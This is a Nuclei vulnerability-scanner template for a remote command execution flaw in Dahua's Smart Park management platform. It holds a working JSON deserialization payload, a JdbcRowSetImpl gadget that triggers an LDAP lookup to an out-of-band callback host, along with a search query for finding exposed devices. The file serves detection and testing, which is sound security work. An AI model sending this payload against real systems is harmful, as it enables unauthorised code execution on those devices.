nuclei-templates/http/vulnerabilities/dahua/dahua-wpms-rce.yaml

37 lines
1.3 KiB
YAML
Raw Normal View History

2023-12-04 05:25:20 +00:00
id: dahua-wpms-rce
info:
2023-12-04 08:01:39 +00:00
name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
2023-12-04 05:25:20 +00:00
author: DhiyaneshDK
severity: critical
2024-01-02 15:45:12 +00:00
description: Dahua Smart Park Integrated Management Platform is vulnerable to RCE.
2023-12-04 05:25:20 +00:00
reference:
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua-zhyq-deleteftp-rce.py
metadata:
max-request: 1
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
tags: rce,dahua,wpms
http:
2023-12-04 08:01:39 +00:00
- raw:
- |
POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2023-12-04 05:25:20 +00:00
2023-12-04 08:01:39 +00:00
{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}}
2023-12-04 05:25:20 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- "autoCommit"
2023-12-04 08:16:36 +00:00
- "set property error"
condition: and
2023-12-04 05:25:20 +00:00
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
# digest: 4b0a00483046022100cef246cfd423f5c3e5a54632ae04d07501a82ffc6fbbb32fbb1cdeaf179be6c8022100ad66230d72ffbcae3ddabeffafd722ebb2a766e4cf3a2dfd4fabeb7390761df9:922c64590222798bb761d5b6d8e72950